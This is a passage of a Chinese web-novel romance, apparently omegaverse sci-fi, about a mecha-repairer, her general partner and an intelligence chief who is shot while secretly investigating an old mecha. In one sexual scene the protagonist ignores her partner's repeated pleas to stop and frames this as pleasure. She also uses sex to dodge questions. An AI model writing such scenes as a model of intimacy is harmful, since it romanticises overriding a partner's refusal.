乌澜眼中闪过一丝难以捉摸的情绪,察觉到自己的失态,她克制着自己的情绪缓缓坐下,手指无意识地敲击着沙发的扶手,似乎在思索着什么。 片刻后,她抬起头,语气中是无法掩盖的急切:“那台机甲现在在哪里?慕容瑞雪有没有透露别的什么?” “具体情况还不清楚,慕容瑞雪并没有透露太多信息。” 乌澜的眉头紧锁,显然对这个答案并不满意。 她的手指敲击得更快了,明毓敏锐地察觉到了她的异样,心中警铃大作。 “乌局长,”明毓的声音冷了下来,提醒道:“不管你有什么目的,我警告你,宋青佩是我的底线。如果你敢让她受到任何伤害,我不会放过你。” 乌澜收敛了表情,解释道:“明上将,你多虑了。我和你不是敌人,对宋青佩也没有恶意,我只是想弄清楚慕容瑞雪的目的而已。” 明毓不为所动,冷冷地看着她:“希望如此。” 乌澜站起身,整理了一下衣襟,“既然明上将这么忙,我就不多打扰了。不过,如果宋青佩那边有任何新的发现,还请你及时告知我。” 明毓没有回应,只是目送乌澜离开办公室。 门关上的瞬间,她的神情变得凝重起来,乌澜反应实在太过反常,刚刚提到前总统的机甲,显然触动了她的某根神经。 看来她有必要再提醒一下青佩,不要跟乌澜走太近。 而乌澜离开军部大楼后,径直上了车。 她坐在后座上,眼神中透出一丝急切,拿出通讯器,拨通了一个号码。 通讯器那头传来宋青佩的声音:“你好,请问是哪位?” “宋小姐,我是乌澜。” “乌局长?”宋青佩显然十分意外,声音中带着一丝警惕:“你怎么会有我的联系方式?” “作为调查局局长,想要找到一个人的联系方式并不难。”乌澜轻笑道:“宋小姐,你不用这么紧张,我对你没有恶意。” 宋青佩沉默了片刻,才问:“乌局长找我有什么事吗?” 乌澜说:“宋小姐,我想和你见个面,有些事情想当面问你。不知道你什么时候有空?” 想到明毓之前的提醒,乌澜这个人不好惹,宋青佩婉拒道:“抱歉,乌局长,我最近比较忙,可能没时间。” 似乎早就料到她会拒绝,乌澜语气中带着几分安抚:“宋小姐,你不用这么紧张。我只是想和你聊聊,关于慕容瑞雪和那台鱼跃号机甲的事情。” 她犹豫了一下,问:“乌局长,你到底想知道什么?” “宋小姐,我知道你在修复容岑的机甲,那台机甲对我来说非常重要,需要了解更多细节。”说着,她放柔了声音,甚至带着一丝恳求,“你放心,我不会伤害你,也不会让你为难。我们当面说好吗?” 不知道为什么,乌澜的低姿态让宋青佩有些无法拒绝。 最终,她点了点头:“好吧,乌局长,我们见一面。” 乌澜笑了笑:“好,那我们就约在蓝海公司附近的咖啡馆吧,时间你来定。” 宋青佩看了看时间,说:“那就今天晚上七点吧。” “好,我等你。” 乌澜挂断电话,眸中满是无法掩盖的欣喜,现在她几乎确定,宋青佩应该就是她一直在找的人。 二十多年了,她终于找到了—— 晚上七点,宋青佩准时来到咖啡馆。 进了门,她一眼就看到了坐在角落的乌澜,她穿着一身简洁的黑色套装,手中端着一杯咖啡,神情悠闲。 “宋小姐,这边。”乌澜朝她招了招手。 宋青佩走过去,坐在乌澜对面,直白道:“乌局长,你找我到底想问什么?” 乌澜笑了笑*,“先喝点东西,放松一下,我们慢慢聊。” 宋青佩没有动那杯咖啡,目光直视乌澜:“乌局长,你还是直说吧。” 乌澜点了点头,语气温和:“好,那我就开门见山了。宋小姐,你在修复容岑的机甲时,有没有发现什么特别的东西?比如……一些隐藏的数据,或者什么特殊画面?” “乌局长,我只是负责修复机甲的外部结构和智脑系统,并没有深入调查它的内部数据。” 她耐着性子继续问:“你不是试图唤醒过那架机甲的智脑吗?你再仔细想想,有没有发生什么奇怪的事情。” 见她一脸凝重,宋青佩又认真地想了想,几乎事无巨细地将当时发生的事情又跟乌澜复述了一遍。乌澜仔细地听着,脸色变幻莫测。 许久,才沉声问:“这么说,你最后在智脑的画面里看到……容岑死了?” 宋青佩摇了摇头,“我不确定,我最后只看到一片血雾,画面越来越模糊,我因为精神力损耗太大,被迫退了出来。” 听她说完,乌澜沉默了一会道:“宋小姐,容岑的机甲对我来说非常重要,我需要你带我去放机甲的地方。” 一直迷迷糊糊被卷入各种事件中,却什么都不知道的宋青佩,忍不住问:“乌局长,你能不能告诉我,你为什么会觉得慕容瑞雪的目标是我?而不是利用我接近明毓?毕竟明毓是军部上将,而我名不见经传,根本没有任何价值。” 乌澜神色复杂地看着她,没有立刻回答问题。 宋青佩有些尴尬道:“不方便说吗?那算了,我只是有点好奇……” “宋小姐,听说你是孤儿?”明毓忽然开口,打断了她的话。 被提起伤心事,宋青佩神色黯然的点了点头,“是的,我养母是在垃圾星捡到的我,后来,我养母也意外出事,我就一直一个人,直到碰到明毓……”后面的话她没说下去。 “抱歉,宋小姐,提起你了伤心事。”乌澜歉疚地看着她,说:“但这,应该就是慕容瑞雪接近你的目的。” 宋青佩不解,“什么意思?” “你的身世,可能并不简单。”乌澜顿了一下,道:“宋小姐,我只能告诉你这么多,目前我还没找到证据,不敢妄下结论。” 听她提起自己的身世,宋青佩整个人都懵了,她一直以为自己只是一个普普通通,倒霉的被父母丢弃的弃儿,却从来没想过,自己还会有什么曲折离奇的身世。 毕竟生活不是小说,哪来那么多的戏剧性。 可是面对乌澜凝重的神色,一直被她强行压抑的好奇心涌了上来,不由对自己也产生了疑惑?她的父母到底是谁?当初为什么要丢下她? 她想知道。 “宋小姐。”乌澜的声音传来,打断了她的思绪,“我知道这对你来说很突然,也很难接受。但调查黑鸢花对我真的很重要,还请你带我去一趟放机甲的地方。” 宋青佩回过神,目光复杂地看着乌澜。 她的手指无意识地摩挲着咖啡杯的边缘,心中挣扎着,她知道一旦答应,就意味着她会被牵连越深。而明毓一直在提醒她,不要相信乌澜,虽然乌澜一直给她一种熟悉的亲切感,但她也不敢贸然完全相信她。 犹豫了许久,宋青佩终于开口,“乌局长,我可以带你去放机甲的地方,但我不想再深入参与这件事。” 乌澜点了点头:“我明白你的顾虑。你只需要带我过去就行,剩下的交给我来处理。” 宋青佩沉默了片刻,最终点了点头:“好,我今晚带你过去。” “明上将很担心你,最好不要告诉她,不然我担心她会阻止。”乌澜叮嘱。 这话实在像极了不怀好意的人哄小孩子,不要把这事告诉你妈妈,宋青佩当即就皱起了眉,警惕心瞬间急剧上升。 仿佛对她情绪特别敏锐,乌澜察觉到她的抗拒,不由笑道:“别紧张,就当我没说。你要是信不过我,告诉明上将也无谓,我只是怕她会打草惊蛇。毕竟明上将一心要保证你的安全,别的不在她考虑的范围之内。” 宋青佩嘴上没再说什么,两人礼貌地跟乌澜告别,转身离开。 回到家后,她坐在客厅的沙发上,神情有些恍惚。 想到乌澜的话,她确实有些犹豫,以明毓的性格,确实不会支持她跟乌澜接触。可是这不是别的事,如果真的跟她的身世有关,她怎么可能做到无动于衷,置身事外呢? 她不由陷入了纠结中,到底要不要跟明毓说一声。 颂颂正坐在地毯上玩积木,见她时不时走神,不满地抬头喊她:“妈妈,你看我啊,搭得城堡好不好?” 宋青佩勉强笑了笑,伸手摸了摸颂颂的头:“很好,颂颂真棒。” “妈妈骗人,你都没看。”颂颂不满地指控。 被抓包的宋青佩,不好意思地说:“颂颂,妈妈有点事要好好想想,你自己玩会好不好?” 颂颂噘着嘴答应,“好吧。” 明毓走过来,察觉到了她的反常,走到宋青佩身边问:“你怎么了?从回来就一直心不在焉的。” 宋青佩回过神来,摇了摇头:“没什么,可能是今天工作有点累。” 明毓皱了皱眉,显然不相信她的说辞,关切的问:“青佩,是不是出了什么事?” 宋青佩看着明毓关切的眼神,心中越发纠结。 犹豫许久,她摇了摇头,故作轻松地说:“真的没事,你别多想。” 明毓显然没有被说服,但她也没有继续追问,只是狐疑的打量着她,“如果有什么事,一定要告诉我。你说的,我们要互相信任。” 想到前两天自己刚给明毓上完课,要坦诚,要信任,此刻就被啪啪打脸,宋青佩不由一阵心虚,含糊地点了点头。 她知道明毓是关心她,但她不想让明毓因为担心而阻止她,她必须弄清楚慕容瑞雪到底为什么接近她,她只是带乌澜到放机甲的地方,应该不会有什么事。 思虑良久,宋青佩决定还是先不告诉明毓。 明毓看着她明显走神的模样,眉心紧颦,到底发生了什么?她们刚刚缓和的关系,好像又蒙上了一层灰蒙蒙的雾,总也无法走到对方心里。 两人心思各异,一时都没说话。 颂颂玩了一会儿,渐渐有些困了。 她揉了揉眼睛,走到宋青佩身边,软软地说:“妈妈,我困了,想睡觉。” 宋青佩回过神来,温柔地抱起颂颂:“好,妈妈带你去睡觉。” 她将颂颂送回儿童房,轻轻为她盖好被子,吻了吻她的额头:“晚安。” 颂颂迷迷糊糊地应了一声,很快就进入了梦乡。 她轻轻关上儿童房的门,准备回自己的房间,然而,刚出了门,明毓就挡在了她面前。 明毓目光紧紧盯着她,“你是不是有事瞒着我?” 宋青佩下意识地避开了明毓的目光:“没有。” 这反应太明显的心虚了,明毓伸手握住她的手腕,“青佩,你肯定有事瞒着我。” 看着明毓怀疑的眼神,宋青佩试图转移话题:“真的没事。可能是昨晚折腾的……太累了。” 明毓愣了一下,随即脸上浮现出一抹红晕,显然没想到宋青佩会突然提起昨晚的事。 但很快,她就冷静下来,等着宋青佩:“你别转移话题,我知道你肯定有事瞒着我。” 见明毓不肯罢休,宋青佩心中一阵无奈。 她知道自己再不做点什么,明毓一定会继续追问下去。 于是,她故意凑近明毓耳边,压低声音说:“不早了,去你房间睡吧,正好昨天的衣服……你还没穿给我看。” 明毓瞬间脸色通红,耳根都染上了一层绯色。 她猛地推开宋青佩,恼羞成怒地:“你……你够了!” 宋青佩看着明毓慌乱的样子,心中一阵好笑,故意气她,“不是吗?那昨晚是谁答应我……” “闭嘴!”明毓打断了她的话,气冲冲地转身就走,“你自己睡吧!” 明毓回到自己的房间,心中依旧有些气恼。 她坐在床边,回想起宋青佩刚才的话,脸上又是一阵发烫。 可想到刚才宋青佩遮遮掩掩的样子,她本能地觉得不对劲,思来想去,明毓还是不甘心,又折返回了宋青佩的房间。 没想到明毓居然又回来,宋青佩吓了一跳。 她刚刚收到乌澜的消息:【半夜两点,我们在约好的地方会合】 此时怎么将去而复返的上将大人哄走,是个极为艰巨的问题。 第54章 主动坐上来 宋青佩一打开门,就看到明毓带着薄怒的脸。 不等对方开口,她关上门,先发制人,“走吧。” “什么?”明毓愣住,似乎没明白她这没头没脑的一句话。 “上将大人,不是想通了吗?” 宋青佩似笑非笑,主动伸手搂住她的腰,引着明毓往她的房间走去。 见鬼的猫耳服! 反应过来的明毓,嗔怒地瞪她,“宋青佩,你别跟我来这套。你很不对劲,肯定有事瞒着我……” 未完的话,尽数被堵回了唇中。 单手扣住她的后脑,宋青佩主动亲了上去,两人唇齿相依。 明毓整个人都僵住了。 清醒状态的宋青佩,已经很久没有这么热烈地亲过她了。 一瞬间,只觉得有什么在脑子里炸开,仿佛连灵魂都要被吸走了。 她整个人被亲得都在发蒙,一边被亲着,人好像还在动,两个人踉跄着,拉拉扯扯的。不禁迷糊的想着,这未免有些不成体统。 等她反应过来的时候,宋青佩已经松开她,揽着她发软的身体到了门口。直到门被推开,她忍不住惊讶,明明两人的房间距离近十米,宋青佩是怎么这么快把她拉过来的? 宋青佩先一步走了进去,意味深长地看了她一眼,转身往床对方的柜子走去。 明毓反应过来,赶紧去拦她,“不准开……” 回应她的,是宋青佩先一步拉开了柜子,然后单手将她放上去的箱子拿了下来,轻飘飘地放到地上,还故意看了明毓一眼,笑着低头就要打开。 该死的,她怎么忘了处理这些东西! 明毓脸色涨红,猛地扑上去握住她的手,不让她开。 宋青佩没有强势挣脱,而是笑眯眯地问:“上将大人,要自己来?” “你做梦!”明毓脸颊飞红,狠狠瞪她。 眼看明毓被自己把话题带偏了,宋青佩继续道:“你昨晚明明答应了。” “我什么时候答应了。” “你在店里求我回家,不是答应了吗?” 没想到她清醒的时候也能这么不要脸。 明毓噎了一下,恼声道:“那是你自己说的,我没答应。” 两人仿佛小孩子吵架般,不依不饶。 明毓嗔怒地瞪她,“宋青佩,你什么时候这么不要脸了?” 说着,她忽然恍惚地记起,曾经的宋青佩似乎就是这样的,尤其是在那种事上,经常会仗着她失忆的单蠢,变着法子的逗她。 这是不是代表着,她已经在慢慢愿意接纳她了? 想到这个可能,明毓不由激动起来,忍不住地期待地看向宋青佩,“你……”原本想问的话,在看到宋青佩试图打开箱子后,彻底变了调,“住手!” 一时间,她有种媚眼抛给瞎子看的无力。 顿时,明毓内心细腻的弯弯绕全部消失殆尽,只剩下恼怒,她拍开宋青佩的手,啪的一下合上了箱子,试图将宋青佩推开。 宋青佩握着她的手轻轻一拉,直接将她带进了怀里。 明毓还没反应过来,宋青佩不知何时从箱子里勾出了一件镂空的内衣,用食指挑着,笑着塞到了她怀里,“这个不错,去换上看看。” 那种少有的轻佻语气,让明毓一下子红了脸,“宋青佩,你……” “乖。”宋青佩做了个噤声的手势,“去换上,我等你。” 说完,宋青佩不等明毓拒绝,就半抱着她起身,推着她往浴室走去。 明毓脸色涨红,又羞又气,但是脑子已经不会思考了,只有对接下来事情的旖旎幻想,接下来宋青佩会怎么对她? 清醒的宋青佩,从没表现得如此急切过。 她之前想尽办法,不就是这个目的吗?现在有什么可矫情的? 上将大人,在心里不停地给自己做着思想工作,最后,咬牙脱掉了衣服,闭着眼,换上那身几乎没什么布料的内衣。 可最终,她还是没敢看看镜中的自己,忍着羞耻走了出去。 见她出来,饶是宋青佩早有准备,还是忍不住有些慌神,直直地盯着看了许久,没有移开视线,仿佛锁定猎物的野兽。 明毓被她看得不自在,眼波含媚地瞪她,“看……看什么看!” 宋青佩笑:“上将大人如此香艳,不得多看几眼。” “你真是……”明毓不会骂人,憋了许久,只憋出一句,“不要脸!” 对于这种不痛不痒的话,宋青佩似乎连反驳都懒得说。 她直接向明毓走过去,明明两人身高差不多,可是此刻,明毓却觉得莫名的压力排山倒海而来,她下意识地想后退,骨子里的骄傲,又硬生生地让她止住了脚步。 有什么紧张的,宋青佩还能吃了她不成? 明毓努力站得笔直,抬眼瞪她。 宋青佩被她的模样逗乐了,笑着凑过去,一双黑眸灼灼生辉,仿佛星河灿烂,明毓不争气地看着愣了片刻。 下一秒,就被宋青佩直接抱起来摁到了床上。 不甘心每次都这么被动,明毓放下了所有的骄矜,挣扎着推开她,昂着头说:“我要在上面。” 对于这种要求,宋青佩有些意外。 之前,她明显能感觉到,明毓对于被标记这种事是有着本能的抗拒的,哪怕是放下身段地讨好她,骨子里也透着难以掩饰的耻辱感,这也是她一直不愿意完全标记她的原因之一。 此时的明毓,似乎已经在慢慢接受,甚至开始试着去享受这种事。 她自然求之不得,直接抱住明毓的腰,让她跨坐到了自己身上。 明毓本能地挣扎了一下,又很快停下,强忍着羞耻,闭上眼,主动俯身捧住了宋青佩的脸亲了上去。 一开始她还有些不好意思,直到听到了一声压抑的哼声,她不由睁开眼偷偷看向宋青佩,只见她黑眸微磕,明显一副情动压抑的模样。 她顿时得到了极大的鼓励,羞耻感慢慢消失,取而代之的是满满的好胜心。 不能每次都是她吃瘪,也要好好教训宋青佩一番。 一旦开了头,接下来的动作便越发主动。 她吻过宋青佩的唇,脖颈,锁骨,一路蔓延至腺体,轻轻撕咬,就好像宋青佩故意引诱折磨她一样。 “够了吧……” 宋青佩哑着嗓子哼了一声,猛地扣住明毓的腰反转,将她压到了下面。 明毓不满,“你干什么,我还没……” 没给她继续的机会,宋青佩直接摁住她,咬向了她的腺体,没有一点前兆,仿佛狂风暴雨般袭来。 一瞬间,从未有过的强烈信息素包围了明毓。 让她浑身战栗,忍不住想要颤抖,尖叫…… 可又仿佛被扼住了喉咙般,发不出一丝音调,只能在这种强烈的快感中,煎熬,一浪过一浪,让她几欲死过去。 “够……够了……” 对于她的求饶,宋青佩仿佛没听到,明毓被逼得狠狠地咬向她的脖子,可就算是这样,颤栗感却丝毫不减,强烈的信息素还在不知疲惫的入侵着,让她几乎昏厥。 “停下……呜不……” 明毓的求饶声,在强烈的感觉下戛然而止。 在她晕睡过去前,最后一个念头是:宋青佩,是想把她弄死在床上…… 宋青佩喘息着,房间内浓郁的Alpha信息素让她有些不习惯,印象中她的信息素,就算在明毓失忆时也没有如此强烈过。 脖颈处传来阵阵刺疼,她不由伸手摸了一下,指肚上还带着淡淡的血迹,看来她刚才……确实把人给逼急了。 宋青佩不由摇头苦笑,她一开始确实存了不让明毓张口询问的想法,可到后来,也确实是失控了。 那样被逼到要崩溃求饶的明毓……让她忍不住有些上头。 她暗自唾弃了一下自己,歉疚看向床上微闭着眼的明毓,只见她发丝凌乱,额间隐隐透着薄汗,面颊绯红,眉间微蹙。 可能在梦里骂她呢。 她俯身给明毓盖上了毯子,穿好衣服出了门。 宋青佩出了门,夜风微凉,吹散了她身上残留的暖意。 她抬手摸了摸脖颈处隐隐作痛的咬痕,明毓这次是真的被她惹急了,咬得这么狠,估计得好几天才能消下去。 她快步走向约定的地点,远远就看到乌澜站在路灯下,身影修长而挺拔。 乌澜似乎早就察觉到她的到来,转过头,脸上带着淡淡的笑意。 “宋小姐,很准时啊。” 宋青佩点了点头,走到她身边,“乌局长,久等了。” 乌澜的目光在她脖颈处停留了一瞬,笑意更深了几分,“明上将不知道你来?” 宋青佩下意识地摸了摸脖子,有些尴尬地避开了乌澜的视线,“她……已经睡了。” 乌澜轻笑了一声,“看来明上将还挺难糊弄的。” 宋青佩脸上微微一热,心里暗自庆幸夜色遮掩了她的窘迫。 她不想在这个话题上多纠缠,干脆直接转移了话题,“好了,时间不早了,我们走吧。” 乌澜没有再多说什么,点了点头,转身走向停在路边的悬浮车。 宋青佩跟在她身后,她知道,今晚的行动可能会让她卷入更深的漩涡,但为了弄清楚自己的身世,她决定冒险。 两人上了车,乌澜启动了引擎,悬浮车悄无声息地滑入夜色中。 车内一片安静,只有仪表盘上微弱的光芒映照着两人的侧脸。 夜色如墨,星光稀疏。 悬浮车很快抵达了目的地——蓝海公司的一处秘密仓库。宋青佩下了车,抬头看向那座隐藏在夜色中的建筑,心里不由得有些紧张。 仓库周围寂静无声,只有风吹过树梢的沙沙声。 宋青佩输入密码,厚重的金属门缓缓打开,露出里面那台巨大的机甲。 鱼跃号机甲静静地矗立在仓库中央,黑色的机身泛着冷冽的光泽。 宋青佩指道:“那个就是鱼跃号。” “谢谢。”乌澜低声说着,目光复杂地看向宋青佩,“宋小姐,我答应了明上将要保证你的安全,你可以走了,剩下的交给我就行。” 乌澜目光中闪过一丝兴奋,说完快步走进仓库。 宋青佩站在门口,心中隐隐有些不安,犹豫着要不要直接离开。 她总觉得事情不会这么简单。 乌澜走近机甲,抬头望向机甲头部,那里是智脑的核心所在。 只见她从怀中取出一枚小巧的数据芯片,插入机甲侧面的接口,手指在虚拟键盘上快速敲击,试图破解机甲的防御系统。 突然,机甲的双眼亮起刺目的红光,一道强大的能量波动从机甲内部爆发出来。 乌澜猝不及防,被这股能量反噬,整个人被震退了几步。 她的手臂被能量灼伤,鲜血顺着指尖滴落在地。 “该死!”乌澜迅速后退几步,试图稳住身形。 然而,机甲的防御系统已经被彻底激活。警报声在仓库内回荡,刺耳的声音让人头皮发麻。 就在这时,仓库的阴影中突然闪出三道黑影。 三个戴着面具的人手持激光枪,悄无声息地逼近乌澜,他们的动作迅捷而冷酷,显然训练有素。 乌澜的反应极快,她迅速侧身躲到机甲背后,激光束擦着她的肩膀飞过,击中了机甲的金属外壳,火花四溅。 她的眼中闪过一丝冷冽,从腰间抽出一把能量手枪,朝那三个面具人开火。激光束在空中交错,战斗瞬间变得激烈起来。 乌澜依托机甲的庞大身躯作为掩护,灵活地躲避着对方的攻击,然而,对方配合默契,三人分头包抄,试图将乌澜逼入死角。 “砰!” 一声巨响,乌澜的能量手枪击中了其中一人的肩膀。 那人闷哼一声,后退几步,但很快又稳住身形,继续朝乌澜逼近。 乌澜的呼吸变得急促,她的手臂已经被激光擦伤,鲜血顺着袖子流了下来,她必须尽快找到突破口,否则迟早会被对方耗死。 就在这时,仓库外传来一阵急促的脚步声。 宋青佩听到警报声和激光枪的交火声,忍不住冲进仓库,就看到乌澜正被三个面具人围攻,情况危急。 “乌局长!”宋青佩惊呼一声。 正要上前,却看到一道激光束直逼乌澜的头部。 乌澜眼疾手快,猛地低头躲过,激光束击中了机甲的外壳,发出一声刺耳的爆炸声。 “别过来!” 她大喊一声,澜迅速朝宋青佩的方向扔出一枚烟雾弹,烟雾瞬间弥漫开来,遮蔽了面具人的视线。 宋青佩被烟雾呛得咳嗽了几声,但她迅速反应过来,趁着烟雾的掩护,迅速冲向仓库角落里的悬浮车钥匙。 她抓起钥匙,朝乌澜大喊:“乌局长,跟我来!” 乌澜听到宋青佩的声音,迅速从烟雾中冲出,朝宋青佩的方向奔去。 那三个面具人好像没有料到宋青佩会突然出现,攻击的速度慢了下来,似乎怕误伤到她。 趁着这个间隙,宋青佩迅速启动了悬浮车,乌澜跳上车,悬浮车瞬间冲出了仓库。 宋青佩驾驶悬浮车在空中急速转弯,试图甩开身后的追兵。 然而,那三个面具人显然不打算放过她们,激光束不断从后方袭来。 乌澜的脸色越来越苍白,她的手臂被激光擦伤,鲜血顺着袖子流了下来。她强撑着,没有发出任何声音,只是紧紧地抓住座椅掩饰痛苦。 “再坚持一下!”宋青佩咬紧牙关。 悬浮车在空中划出一道弧线,终于甩开了身后的追兵。 然而,就在她们以为安全的时候,一道激光束突然从侧面袭来,打碎了悬浮车的玻璃,直逼宋青佩的胸部。 “小心!” 乌澜眼疾手快,猛地扑过去,用自己的身体挡住了那道致命的攻击。 “乌局长!”宋青佩惊呼一声。 乌澜的身体重重地倒在了座椅上,鲜血从她的胸口涌出。 “别管我……继续开……” 她的声音虚弱,但手依旧紧紧抓着宋青佩的手臂,仿佛在告诉她不要停下。 宋青佩知道现在不是悲伤的时候,她咬紧牙关,悬浮车在空中疾速飞行,终于甩开了所有的追兵。 当悬浮车终于停在一个安全的地方时,乌澜已经失去了意识。 宋青佩强压内心的焦急,检查了一下乌澜的伤口,发现她右胸被贯穿而过,上半身都是血,看上去触目惊心。 她颤抖着手拨通了急救通讯:“乌局长,你一定要撑住……” —— 医院走廊里,刺鼻的消毒水味道让宋青佩感到一阵眩晕。 她目光死死盯着急救室上方那盏刺目的红灯,时间仿佛被拉得无限漫长,每一秒都像是一把钝刀,在她心上反复割磨。 没想到乌澜居然会为她挡枪,此刻想来,宋青佩内心依然既震惊又惶恐。 如果乌澜为了她死了,她想自己一辈子都不会心安。 “青佩!” 明毓的声音突然从身后传来,打乱了她的思绪。 宋青佩还没来得及转身,就被一个温暖的怀抱紧紧裹住,熟悉的气息扑面而来,带着一丝慌乱和颤抖。 她能感觉到明毓的手臂在发抖,那力道大得几乎要将她揉进骨血里。 “你没事吧?有没有受伤?”明毓的声音里带着前所未有的慌乱。 她松开宋青佩,双手捧起她的脸仔细端详,眼底是掩饰不住的恐惧。 宋青佩摇摇头,“我没事,但是乌局长她……她为了救我……” 话还没说完,明毓就再次将她搂进怀里,力道比刚才更重。 “不准再冒险了。”明毓的声音闷闷的,带着一丝颤抖,“我不管什么机甲,什么慕容瑞雪,都不准你再参与进去。” 宋青佩张了张嘴,还没说话,走廊尽头再次传来一阵急促的脚步声。 “乌澜呢?乌澜在哪里?” 战南笙几乎是冲过来的,她的军装凌乱,头发散乱,完全没有了往日里那副嚣张的模样。 她的目光在走廊里扫视,最后定格在宋青佩身上。 “到底怎么回事?”战南笙一把抓住宋青佩的肩膀,厉声质问:“乌澜为什么会受伤?你们到底在做什么?” “战中将,请你冷静。”明毓立刻挡在宋青佩面前,警告:“这里是医院。” “冷静?”战南笙眼中闪过一丝疯狂,“乌澜现在生死未卜,都是她害的,你让我怎么冷静?” 她的声音在走廊里回荡,引来几个护士侧目。 明毓的脸色沉下来,她上前一步,和战南笙面对面对峙。 “我说了,这里是医院。”明毓的声音压得很低,却带着不容置疑的威严,“如果你再这样,只能请你出去了。” 战南笙的拳头攥得咯咯作响,她的目光越过明毓,死死盯着宋青佩:“告诉我,到底发生了什么?” 宋青佩正要开口解释,急救室的门突然开了。 “病人已经脱离危险了。”医生摘下口罩,脸上带着疲惫,“但是失血过多,还需要观察。” 战南笙立刻冲了过去:“我能进去看她吗?” “现在不行,病人需要休息。”医生摇摇头,“等转到重症监护室后,你们可以隔着玻璃看看。” 战南笙的身体晃了晃,她靠在墙上,勉强支撑着不让自己过于狼狈。 宋青佩也松了一口气,她不知道乌澜和战南笙到底什么关系,见她如此失态,也看出了两人关系匪浅,不由安慰了两句。 “战中将,医生已经说乌局长没事了,你别太担心了。” 见她开口,战南笙狠狠地看向她,“宋青佩,你跟乌澜大半夜到底干什么去了?为什么乌澜会搞成这个样子?” 不知道这事能不能告诉别人,宋青佩为难道:“战中将,这事你还是等乌局长醒了问她吧,我不太好说。” “有什么见不得人的事?”战南笙冷声讥讽。 宋青佩见她情绪激动,没有再刺激她,只是沉默的没有解释。 战南笙见她不作声,怒气更甚,冷声威胁道:“好好好,不说是吧。我告诉你,乌澜没事还好,她要是有什么意外,我跟你没完。” 一直在旁边的没做声的明毓,看不下去了,“战中将,适可而止。这事怕是乌局长主动做的,一切等她醒了再说吧。” 闻言,战南笙没有再说什么。 她走到了玻璃门前,眼睛眨也不眨的看着里面躺着的人,满目焦躁。 明毓转身看向宋青佩,拉住她的手:“既然乌澜没事了,我们先回去吧,让她一个人静一静。” 宋青佩点点头,又看了一眼战南笙。 她从未见过这样的战南笙,那个总是高高在上的人,此刻像个无助的孩子,忍不住猜测,两人是恋人吗? 两人走出医院时,天已经蒙蒙亮了。 而明毓似乎已经从开始的担忧中缓过神来,主动放开了握着宋青佩的手,一言不发的走到了前面。 宋青佩暗道不好,肯定是生气了。 她追上去试图说话,可明毓看都不看她,径直往悬浮车走去。 上车后,明毓坐在驾驶座上,双手紧握方向盘,指节因用力而微微发白。 车内气氛压抑得让人喘不过气来,宋青佩几次想要开口解释,但看到明毓冷冷的侧脸,话到嘴边又咽了回去。 她第一次体会到,这种没理的心虚感。 直到车子缓缓驶入山水庄园,天边已经泛起鱼肚白。 明毓的脸色越来越冷,仿佛覆了一层霜雪,直接无视宋青佩,下车往里面走去,宋青佩暗暗叹气,默默跟了过去。 进门,颂颂正坐在餐桌前吃早餐。 看到她们进门,惊讶地睁大了眼睛:“妈妈,妈咪,你们今天起得好早啊!不是大懒虫了!” 宋青佩勉强挤出一丝笑容,“是啊,妈妈和妈咪今天有重要的事情要做。颂颂乖,快吃饭,一会儿让苏管家送你去幼儿园。” 颂颂乖巧地点点头,继续低头喝粥。 明毓则径直走向厨房,给自己倒了杯水,全程没有看宋青佩一眼。 宋青佩心里一阵发紧,想要解释,却苦于不方便说话,只能默默打着腹稿,准备待会等颂颂走了,好好跟明毓谈谈。 一顿饭的时间,却仿佛过了很久。 眼见明毓随便喝了口水,没吃饭就要出门,宋青佩来不及思考,赶紧追上去拉住她的手腕:“等等明毓,我们谈谈。” 明毓停下脚步,却没有回头,声音冷得像冰:“有什么好谈的?” 宋青佩深吸一口气,转头对苏管家说:“麻烦您送颂颂去幼儿园,我和明毓有些事要处理。” 苏管家点点头,牵着颂颂的手离开了。 隐约还能听到,颂颂无奈的声音,“苏奶奶,妈妈和妈咪又吵架了吗?她们怎么老是吵架啊?跟小孩子一样” 客厅里只剩下她们两个人,空气仿佛凝固了一般。 “明毓,对不起。”宋青佩低声开口,“我不该瞒着你。” 明毓终于转过身来,眼中带着压抑的怒火:“宋青佩,你知道我醒过来联系不上你有多着急吗?我打了无数个电话,发了无数条消息,以为你出事了!” “我知道,是我的错。”宋青佩声音里满是愧疚:“我只是……只是怕你阻止我。” “所以就像防贼一样瞒着我吗?”明毓受伤的看着她,“宋青佩,是不是不管我怎么做,你都不会再信任我?” “不是的!”宋青佩急忙摇头,“我只是……只是”她无法继续继续说下去了,不可否认,以她对明毓的了解,她觉得明毓绝对会阻止。 明毓步步紧逼,“不是什么?你说啊!” 宋青佩沉默了一下,声音闷闷*的:“假如我如实告诉你,你会让我去吗?” “当然不会。”明毓毫不犹豫的反驳:“你要干什么大可以跟我说,我有无数种方法帮你达成目的,为什么非要去自己冒险?” “” 宋青佩无法反驳,她觉得不会有什么事,没想到就偏偏出事了。无奈的坦诚道:“就因为你不会答应,所以才没告诉你啊。” “所以你就用那种方式敷衍我?”明毓的声音突然提高,眼中满是羞辱:“你昨晚那样对我,就是为了让我不再追问,对吗?” 宋青佩张了张嘴,却不知道该如何解释。 昨晚的事情确实是她有意为之,但她并不完全是为了敷衍明毓,她其实是想等这件事过去,好好跟明毓谈谈的,没想到偏偏中间又出了事。 明毓见她不说话,只当她默认了。 一瞬间巨大的绝望和委屈笼罩了她,尤其是昨晚,她还自作多情的以为宋青佩终于愿意接受她了,甚至那般主动 她只觉得自己成了个笑话。 她推开宋青佩的手,愤然道:“宋青佩,你总是这样。每次遇到事情,你总是选择一个人扛,从来不愿意相信我。” “对不起……”宋青佩难得弱气,“我保证,下次不会了。” 明毓冷笑一声,“呵呵,没下次了。” 什么意思? 宋青佩没反应过来,诧异的望着明毓,以为她又像之前一样限制她自由。 没想到明毓狠狠的瞪她,说出的话却带着商量的意思,“你做出这样的事,我让人二十四小时盯着你,你没意见吧?” 宋青佩哭笑不得,她现在还有资格提意见吗? 第55章 生气?吃醋 明毓不满地紧盯着宋青佩,带着几分隐隐的压迫。 宋青佩本就心虚,在她的注视下败下阵来,事无巨细地将和乌澜的谈话如实相告,包括心中关于身世的疑惑也说了出来。 明毓在听到“身世”二字时,眼神闪烁了一下,语气有些生硬,“我知道了。这件事……你不用管了,我会帮你查清楚的。” 宋青佩愣了一下,张了张嘴,想要再说些什么。 但明毓再次开口,带着一丝不易察觉的关切:“昨晚的事情……慕容瑞雪不是简单的人,她肯定会有所察觉。你再去蓝海上班,太危险了。” 她知道明毓是为她好,但到底还是心有不甘。 宋青佩抿了抿唇,用商量的语气说:“我要去看看慕容瑞雪的态度,你放心……我会小心的。” 